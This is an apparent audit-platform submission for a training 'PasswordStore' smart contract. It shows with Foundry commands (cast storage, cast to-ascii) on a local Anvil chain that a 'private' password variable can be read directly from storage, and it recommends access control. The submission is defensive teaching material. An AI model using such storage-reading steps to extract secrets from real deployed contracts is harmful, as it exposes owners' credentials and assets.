Beginner FriendlyFoundry
100 EXP
View results
Submission Details
Severity: high
Valid

The password is never stored privately in a variable, even if it is marked as private.

Summary

Marking a variable as private doesn't mean that it's hidden from view. Any user with enough knowledge can see the data stored in it.

Vulnerability Details (PoC)

To prove the concept, we need to deploy a contract on the blockchain and add a value to s_password.
In our case, we use Anvil (Foundry) and deploy the contract on it with the first account given to us.

Then, as the owner, using cast, we set a value in s_password:

cast send 0x5FbDB2315678afecb367f032d93F642f64180aa3 "setPassword(string)" "banana" --rpc-url http://127.0.0.1:8545 --private-key 0xac0974bxxae784xxf2ff80

Now we are going to run 2 instructions that do not require user validation, i.e. we do not use the owner's private key to obtain the information.

First, find out which is the memory slot for `s_password``

2023-10-PasswordStore git:(main) ✗ forge inspect PasswordStore storage
{
"storage": [
{
"astId": 43436,
"contract": "src/PasswordStore.sol:PasswordStore",
"label": "s_owner",
"offset": 0,
"slot": "0",
"type": "t_address"
},
{
"astId": 43438,
"contract": "src/PasswordStore.sol:PasswordStore",
"label": "s_password",
"offset": 0,
"slot": "1",
"type": "t_string_storage"
}

As we can see, it is slot 1. Now, we check the info inside. We get the information in hexadecimal, so we have to translate it to ASCII.

2023-10-PasswordStore git:(main) ✗ cast storage 0x5FbDB2315678afecb367f032d93F642f64180aa3 1
0x62616e616e61000000000000000000000000000000000000000000000000000c
2023-10-PasswordStore git:(main) ✗ cast to-ascii "0x62616e616e61000000000000000000000000000000000000000000000000000c"
banana

Impact

Since the password is no longer private, anyone can use it to change information, make transactions or steal assets.

Tools Used

Foundry (anvil, cast), terminal.

Recommendations

In web3 we do not use stored passwords as a method of keeping things private.

There are 2 ways to secure the systems:

1.- Asymetric encryption (wallets or signatures).

2.- Access control modifiers. We can use the Open Zeppelin libraries which are specifically designed for this:

https://docs.openzeppelin.com/contracts/2.x/access-control

Updates

Lead Judging Commences

inallhonesty Lead Judge
about 2 years ago
inallhonesty Lead Judge about 2 years ago
Submission Judgement Published
Validated
Assigned finding tags:

finding-anyone-can-read-storage

Private functions and state variables are only visible for the contract they are defined in and not in derived contracts. In this case private doesn't mean secret/confidential

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.